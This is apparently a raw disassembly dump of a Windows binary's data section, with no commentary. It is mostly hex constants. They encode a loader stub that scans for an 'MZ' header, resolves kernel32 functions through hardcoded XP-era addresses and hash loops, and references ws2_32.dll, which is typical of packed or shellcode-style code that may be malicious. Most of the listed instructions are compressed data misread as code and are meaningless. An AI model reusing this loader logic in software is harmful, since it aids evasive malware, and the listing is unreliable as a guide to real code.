		dd 448B7C80h, 252424h, 5FFFF00h, 10000h, 100002Dh, 38816600h
		dd 0F4755A4Dh, 0F8858960h, 8B000003h, 3D88BD0h,	58033C40h
		dd 0D9D8978h, 8D000003h, 3CC9Dh, 0E4BD8D00h, 8B000003h
		dd 7CB58933h, 0E8000003h, 0Bh, 4C383ABh, 75003B83h, 60C361EAh
		dd 30D9D8Bh, 4B8B0000h,	8BCA0320h, 0E8F20331h, 2Fh, 0CD75CEBFh
		dd 74C73B49h, 4C18305h,	4B2BE9EBh, 0D1CA2B20h, 244B03E9h
		dd 0B70FCA03h, 2E1C109h, 31C4B03h, 3098BCAh, 244C89CAh
		dd 52C3611Ch, 3B248EBAh, 0C00AAC9Ch, 0D0321474h, 0EAD108B0h
		dd 0F2810673h, 0C1A7F39Ah, 0F275C8FEh, 5A92E7EBh, 2551A7C3h
		dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 80ADA000h
		dd 80B6A17Ch, 801D777Ch, 809A517Ch, 809AE47Ch, 8000007Ch
		dd 13C007Ch, 60B1C00h, 158F200h, 3000000h, 0
		dd 2 dup(40h), 2 dup(0)
		dd 1000000h, 2,	0FFA40000h, 0FFE00012h,	12h, 1000003Dh
		dd 0D4000000h, 0E5820001h, 0F0000000h, 1C000001h, 14D60000h
		dd 10000000h, 0D0000002h, 3B2D0000h, 44h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 60A10h, 609FCh, 3 dup(0)
		dd 60AB4h, 60AD9h, 3 dup(0)
		dd 60ABFh, 60AE1h, 3 dup(0)
		db 0CCh
		db 0Ah,	6, 0
; ---------------------------------------------------------------------------
		jmp	loc_4610AB
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB2BF400h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h
		db 8Bh
; ---------------------------------------------------------------------------


loc_46109D:				; CODE XREF: .data:loc_4610ABj
		stc
		lds	ebx, [eax+199800FCh]
		sbb	al, 0E3h
		or	eax, 33630h


loc_4610AB:				; CODE XREF: .data:00460A9Cj
		jnp	short loc_46109D
		push	eax
		out	0Bh, al		; DMA 8237A-5. mode register bits:
					; 0-1: channel (00=0; 01=1; 10=2; 11=3)
					; 2-3: transfer	type (00=verify=Nop; 01=write; 10=read)
					; 4: 1=enable auto-initialization
					; 5: 1=address increment; 0=address decrement
					; 6-7: 00=demand mode; 01=single; 10=block; 11=cascade
		cmp	ebx, [edi]
		fiadd	word ptr [eax]
		jnb	short loc_461111
		ror	bh, cl
		push	es
		jz	short loc_4610E6
		rol	dword ptr [eax], cl
		mov	ebp, [ecx]
		jmp	short loc_4610C6
; ---------------------------------------------------------------------------
		align 2
		dw 0B844h
		db 89h,	0
; ---------------------------------------------------------------------------


loc_4610C6:				; CODE XREF: .data:004610BFj
		dec	edi
		dec	ebp
		mov	ecx, 208F5CF1h
		test	[ebx], eax
		fcmovne	st, st(2)
		pop	ds
		mov	dh, 59h
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 64B4h
		dd 0B1892E39h, 0B2A5032Dh, 0F6B80811h
; ---------------------------------------------------------------------------
		adc	al, 49h


loc_4610E6:				; CODE XREF: .data:004610B9j
		add	dl, dh
		dec	eax
		cmp	al, 33h
		inc	eax
		add	ebp, ebx
		xchg	eax, esp
		add	[edx-6Bh], bh
		pop	es
		mov	ss, word ptr [edx-73h]
		pop	esp
		add	dword ptr [eax], 0EA9CEC28h
		push	7F196626h
		dec	ebx
		add	[edi+edi*8+32h], ah
		xor	ecx, [ecx+30DA22h]
; ---------------------------------------------------------------------------
		db 8Fh,	28h, 68h
		db 1
; ---------------------------------------------------------------------------


loc_461111:				; CODE XREF: .data:004610B4j
		add	eax, [eax+7000413Dh]
		db	65h
		push	ss
		jle	short loc_461125
		and	edx, [ebx]
		pop	es
		add	[ebp-11h], bl	; CODE XREF: .data:00461126j
		popa
		mov	[edi-4Bh], ch


loc_461125:				; CODE XREF: .data:00461119j
		sahf
		jb	short near ptr loc_46111E+2
		mov	word ptr [eax],	es
		adc	al, 12h
		push	0CCCA0FF8h
		sbb	[edi], al
		mov	ds:3D832D88h, eax
		push	eax
		push	es
		sbb	al, [edi+ebp-7A104800h]
		popf
		adc	eax, 330E05h
		leave
		add	al, 82h
		hlt
; ---------------------------------------------------------------------------
		dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h
		dd 52805C6h, 0EA0014Ah,	8CF5005Ah, 6D68100Ah, 87299707h
		dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h,	53001BC4h
		dd 86C8E74Ch, 3CC840Fh,	21D2A4D5h, 0C7971A4Ah, 0E068815Eh
		dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah
		dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h,	117FDE4h
		dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h
		dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch,	83390980h
		dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h
		dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h,	0EBF48100h
		dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h
		dd 752D709h, 938C9D66h,	4AB590EBh, 0C100ED80h, 0EE030772h
		dd 70FCF0Ch, 8112C216h,	7518F0FAh, 10009EE8h, 31185B9h
		dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch,	7C0010FAh
		dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h
		dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh
		dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h
		dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h,	13010D84h
		dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h
		dd 9149200h, 31742506h,	47F2Ah,	0A154B0DAh, 0AE802B64h
		dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h
		dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh,	2B64FE8h
		dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h
		dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h
		dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h
		dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h
		dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h
		dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h,	1157E746h
		dd 822CF4h, 0B979EDD6h,	0D5C6301Eh, 0B5002B79h,	0AA6BE342h
		dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h
		dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h
		dd 2C0239BAh, 0D3C603h,	14095C1h, 990EFE81h, 0A137984Eh
		dd 359AD285h, 0FAC2F4h,	4D2E4C9Bh, 0A5F49009h, 4410BC00h
		dd 1D5C890Dh, 25B0013h,	3AEB1B87h, 431FE369h, 0C3001296h
		dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch
		dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h,	0EA7E1180h
		dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh,	0B930C8C0h
		dd 84421500h, 7448C51h,	591913CAh, 0A8870EAFh, 78962640h
		dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h
		dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h,	5FE82606h
		dd 297B0099h, 4470119h,	9D030320h, 7449F30Bh, 0C63FC824h
		dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h
		dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h
		dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h
		dd 0D7396C4h, 22075CAh,	73A905Ch, 0BEC6490Ch, 8DCC5EF0h
		dd 2E527FE1h, 1C2FBAAh,	94B60CAh, 2E8FC882h, 8E90A23Bh
		dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h
		dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h,	0D4E19B80h
		dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch,	19920B7Bh
		dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h,	16630026h
		dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah
		dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h
		dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h,	0F30A024Bh
		dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh,	5658B61h
		dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch
		dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
		dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
		dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h,	24C3838Eh
		dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
		dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h,	0D105FFh
		dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h,	0E9100008h
		dd 0CB0126C3h
		dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh
		dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h
		dd 5ABC3Eh, 0C031B244h,	154C966h, 428F1E50h, 0DD105180h
		dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh
		dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh
		dd 3E1831Dh, 18A4D207h,	0E177431h, 7C3AFC30h, 1950000Fh
		dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch
		dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch
		dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h
		dd 4FE255Fh, 1B1CC7FAh,	88508043h, 62070414h, 84135640h
		dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h
		dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h,	800EE25h
		dd 0C2F81CCBh, 788977h,	681E34E0h, 2C0B055Dh, 92148D03h
		dd 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh,	3513F300h
		dd 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh
		dd 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h,	0B7E00F67h
		dd 6BF04500h, 3663CC0h,	0D2F23EEEh, 40401E9Ch, 1F4558Bh
		dd 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh
		dd 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh,	5B0C001Eh
		dd 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h,	1CA959h
		dd 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h
		dd 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h
		dd 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h
		dd 0C131A990h, 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h
		dd 0B40013EEh, 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h
		dd 5A73E1B0h, 92801BCBh, 0C21CE5DBh, 454EDE00h,	0D606EBE2h
		dd 3A1672E6h, 0F0FE5Eh,	8A367403h, 750A3A08h, 54306700h
		dd 1489313h, 9F4A00D3h,	401625B6h, 83780208h, 311AB200h
		dd 0B3B9D7D4h, 107A0138h, 0CF3FDA3h, 80FAB93Dh,	21D64EBh
		dd 903119h, 0CD88BB51h,	10E08650h, 0CD46600h, 83184CB2h
		dd 0ABF33B09h, 86311200h, 24405FAAh, 0F156900h,	8840541h
		dd 89B202C7h, 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh
		dd 99036Fh, 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h
		dd 0F8300048h, 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h
		dd 1F170088h, 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh
		dd 7B97D929h, 0B0A3000Ah, 8AD20F20h, 12001C44h,	754B2B42h
		dd 0AD41F6h, 51B82318h,	0E9968F82h, 2F9CB300h, 0CC2CAC33h
		dd 94CE1D50h, 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h
		dd 0B5CCF8D7h, 2D0E03CEh, 2B0A69ECh, 248166D0h,	0FE78080Eh
		dd 0FD58C061h, 0F30025Ch, 28ACCBE2h, 26844FE1h,	623CC4Ah
		dd 4EB2000h, 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h
		dd 1C048D0Fh, 0D89BC001h, 1340555h, 0CDFEE675h,	0F8D4E486h
		dd 5905127Ch, 3289F631h, 90461780h, 7703486Ah, 78F07E00h
		dd 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh
		dd 92DF7430h, 3007261h,	5420A2CAh, 0EA0B7643h, 1F110010h
		dd 4CD07705h, 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh
		dd 0FAFFB150h, 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h
		dd 3C1E5AF2h, 6C430253h, 7301FA00h, 90517497h, 8B440035h
		dd 0ECF85442h, 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah
		dd 0FF1250A9h, 0D32BF03h, 1B48AC04h, 35C0C69Fh,	0BFC5C14h
		dd 8C7C3D74h, 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h
		dd 0CD290Eh, 900B1B22h,	0AC0325FFh, 338B4C79h, 6350E0DBh
		dd 50C741Ah, 1C753E07h,	701D802Ah, 91009225h, 0D41A1B0h
		dd 3F29845h, 161F4C22h,	0A09801B3h, 0F4004028h,	57037B0h
		dd 0B847604Fh, 8D736Fh,	6A6250FCh, 0F6386886h, 653A652Eh
		dd 6BE84700h, 378323Fh,	5511E04Dh, 2DA06168h, 3000FF64h
		dd 1B2089CCh, 0F445C7h,	0EE608691h, 0F808CB50h,	69C52C00h
		dd 0AC8B8954h, 34E683h,	8AEAA267h, 63C41618h, 0E0985200h
		dd 0A16628EFh, 25EC0071h, 97FFC02Ch, 8700F89Fh,	0C33FE283h
		dd 0EFBC20Bh, 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h
		dd 726F425Ch, 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h
		dd 46C04C54h, 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh
		dd 12C3AB7h, 60D7C7ACh,	2031D470h, 0E1D8A20h, 0AE408D41h
		dd 93AECFAh, 3FE800D8h,	58C2F748h, 1BEAE913h, 0DE747703h
		dd 90751ED3h, 77BBC36h,	0DC4A76FAh, 0E8075001h,	0AE1E2D37h
		dd 0F6479C45h, 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h
		dd 0D3009AB0h, 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h
		dd 0E03E307Eh, 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh
		dd 51318001h, 6C034BFCh, 0ABD7CB02h, 41D8B88Bh,	120FADAh
		dd 65580DDBh, 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h
		dd 5B0D0351h, 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh
		dd 1C006F2Eh, 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h
		dd 75493700h, 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h
		dd 407578F4h, 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch
		dd 0D1C247Dh, 510039D3h, 6602C783h, 0F8AF00F2h,	6459550Ah
		dd 0C3007F8Bh, 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h
		dd 1126D480h, 2401303Ch, 1A1C8F53h, 0F69009E8h,	0A5F0217h
		dd 1886C0DEh, 67E8E740h, 58FCA912h, 0D905A300h,	0E1FF5Bh
		dd 0A5089F0Eh, 0E802F061h, 53515200h, 818FF689h, 0F4500084h
		dd 1058E012h, 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh
		dd 0CA43B8Eh, 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh
		dd 90C1300h, 22000E74h,	4950811Dh, 23581Eh, 47257531h
		dd 8BF09821h, 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h
		dd 0EF00D4A3h, 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h
		dd 0C26A1000h, 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh
		dd 0F516DB2Ch, 6A546200h, 3423D02h, 0A30C92E4h,	99D99808h
		dd 147670D1h, 0A04A200h, 0F09C550h, 0E573008Ch,	8B547FE9h
		dd 77EA064h, 12A45300h,	0C9967C9Eh, 418900F0h, 39800103h
		dd 8A983DE9h, 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h
		dd 647CD7E0h, 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h
		dd 50280A5Ah, 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh
		dd 53E31E88h, 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h
		dd 1D814543h, 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh
		dd 0A41B5Fh, 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh
		dd 8B2507E6h, 45BC5E9h,	0CE898094h, 1A00EFFAh, 5A37740Eh
		dd 3FE0A5ACh, 76808B08h, 163B2729h, 0B4002077h,	0C2A15051h
		dd 1365AEB3h, 0EE2439h,	0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h
		dd 3B920BBAh, 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h
